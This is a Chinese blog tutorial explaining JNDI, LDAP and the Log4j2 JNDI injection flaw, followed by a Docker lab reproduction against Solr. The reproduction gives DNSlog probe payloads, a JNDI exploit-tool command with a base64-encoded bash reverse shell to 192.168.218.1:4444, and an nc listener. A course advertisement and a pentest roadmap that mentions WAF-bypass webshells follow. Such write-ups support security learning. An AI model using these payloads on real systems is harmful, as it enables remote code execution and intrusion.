JAVA安全之Log4j-Jndi注入原理以及利用方式
什么是JNDI?
JDNI(Java Naming and Directory Interface)是Java命名和目录接口,它提供了统一的访问命名和目录服务的API。
JDNI主要通过JNDI SPI(Service Provider
Interface)规范来实现,该规范定义了对JNDI提供者应实现的接口。在JNDI体系中,JNDI提供者是指实际提供命名和目录服务的软件组件。JNDI
SPI规范包含了多个接口,其中最为重要的是Context接口。
Context接口是一个通用的上下文接口,它定义了在某个环境中执行命名和目录操作的方法。在JNDI中,上下文环境通常是由JNDI提供者所定义的,它可以是本地的、远程的、文件系统的、LDAP的等等。
通过使用JDNI,Java应用程序可以访问各种不同类型的命名和目录服务,如文件系统、LDAP、DNS等。这样,Java应用程序能够轻松地与各种不同类型的资源进行交互,而无需关心底层的细节实现。
JNDI目前所支持的技术包括?
JNDI(Java Naming and Directory
Interface)是一个通用的命名和目录服务接口,可以与多种技术进行集成。以下是一些目前JNDI所支持的技术:
-
文件系统:JNDI可以与文件系统集成,允许通过文件路径来访问和管理命名和目录信息。
-
LDAP(轻量级目录访问协议):JNDI提供了对LDAP服务器的支持,可用于访问和管理LDAP目录,如Active Directory等。
-
DNS(域名系统):JNDI可以与DNS集成,使Java应用程序能够通过域名访问和管理命名和目录信息。
-
RMI(远程方法调用):JNDI可以与RMI集成,允许使用RMI注册表来查找和访问远程对象。
-
CORBA(公共对象请求代理体系结构):JNDI提供了与CORBA命名服务的集成,以便访问和管理CORBA对象。
-
EJB(企业JavaBean):JNDI可以与EJB容器集成,用于查找和获取远程EJB对象的引用。
-
JMS(Java消息服务):JNDI可以与JMS集成,允许查找和访问JMS连接工厂、队列和主题等消息相关的资源。
需要注意的是,JNDI可以通过自定义扩展来支持其他类型的命名和目录服务,只要相应的JNDI提供者实现了所需的SPI接口。因此,JNDI的支持范围可以通过自定义扩展进行扩展和定制。
简单来说:通过JNDI提供了"通过名称找到对应的对象"的规范定义
LDAN原理
目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP目录服务是由目录数据库和一套访问协议组成的系统
Log4j2漏洞介绍
Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端获取对应的Class文件,使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
javaCopy Codeimport org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jExample {
// 获取Logger对象,参数为当前类名
private static final Logger logger = LogManager.getLogger(Log4jExample.class);
public static void main(String[] args) {
// 示例日志输出
logger.trace("Trace 级别日志");
logger.debug("Debug 级别日志");
logger.info("Info 级别日志");
logger.warn("Warn 级别日志");
logger.error("Error 级别日志");
logger.fatal("Fatal 级别日志");
}
}
${}这是一个表达式,我们可以利用表达是输出用户信息,当前时间等。
重要的是运用表达式我们就可以使用jndi协议了,例如${jndi:ldap://localhost:9999/Test}
,利用jndi请求地址为//localhost:9999的ldap服务,查找内容Test。
你怎么说//localhost:9999是一个ladp的服务呢!也许人家就是一个普通的地址呢!没错这里客户端也没法判定,也是在请求完之后判定的,这里输入dns的地址会解析吗?会,可以利用这个特点打下dnslog请求,初步确定漏洞。
关于漏洞理解
(笔者之见)
JNDI是一个集大成者(多种技术进行集成体),
其中LDAP为目录服务,利用万物皆对象的观点,这里万物皆目录,或许是你的数据库,一个java对象,接口,或windows的c盘,注册表这些在ldap中都可能只是一个普通的目录。作为用户我们只需输入对应的目录名LDAP服务端便可返回响应结果。
假设我们用ldap服务查找某个对象。服务端返回什么?应该返回该对象对应的类吧!——
这里就牵扯到了java对象的传输,对象的传输是java中非常会引发漏洞的地方、真实情况是服务端会返回类或类的地址,这时客服端怎么处理?加载类?目的是得到对象,所以本地类加载,通过反射,构造器的方法得到响应对象?
攻击原理图
整个攻击原理和流程如下图所示

注意looup这个方法,这个是请求ldap服务的入口。
请求ldap的参数可控意味着请求的ldap的服务器也可控,作为攻击者我们可以伪造一个ldap服务器。
这时是不是返回的内容也可控了,如果返回正常的字符串,log4j是不是就正常打印处理了。但如果我们返回的是一个恶意类的地址,作为发起请求的客户端收到这个地址会如何处理呢?也许就是触发了这个机制(开发人员没有想过这样的恶意类加载),客户端得到类的地址试图得到这个类(下载到本地)进行对象化。这样就必然会执行攻击者在类中提前设置的恶意代码。
Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。这里是请求下载了恶意的.class文件
具体的源码流程分析,还是推荐看以下大佬的万字文章,真的很详细
【精选】Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理_log4j2漏洞-
CSDN博客
Log4j2漏洞复现
启用docker靶场环境

访问web页面
漏洞地址:/solr/admin/cores?action=

payload准备
${jndi:ldap://id4cba.dnslog.cn}

查看dnslog平台是否正确解析

payload准备中间在插入表达式
KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.id4cba.dnslog.cn}

获取反弹shell
漏洞利用需要用到ldap服务器,这里我们还是用工具一把梭哈。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"
-A “192.168.218.1”
准备的执行命令是bash -i >& /dev/tcp/192.168.218.1/4444 0>&1,仍然用base编码的方式执行

ok将ldap输入过去,同时nc监听本地端口4444
${jndi:ldap://192.168.218.1:1389/jq0hse}

查看反弹shell信息

正确返回了shell
总结
大佬画的原理图很经典,建立多看看。也建议用maven建立工程,多调试调试验证验证自己的猜想。
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
第三种就是去找培训。

接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇

第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。

配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权

以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

更多推荐
https://blog.csdn.net/hilaryfrank/article/details/121920264

所有评论(0)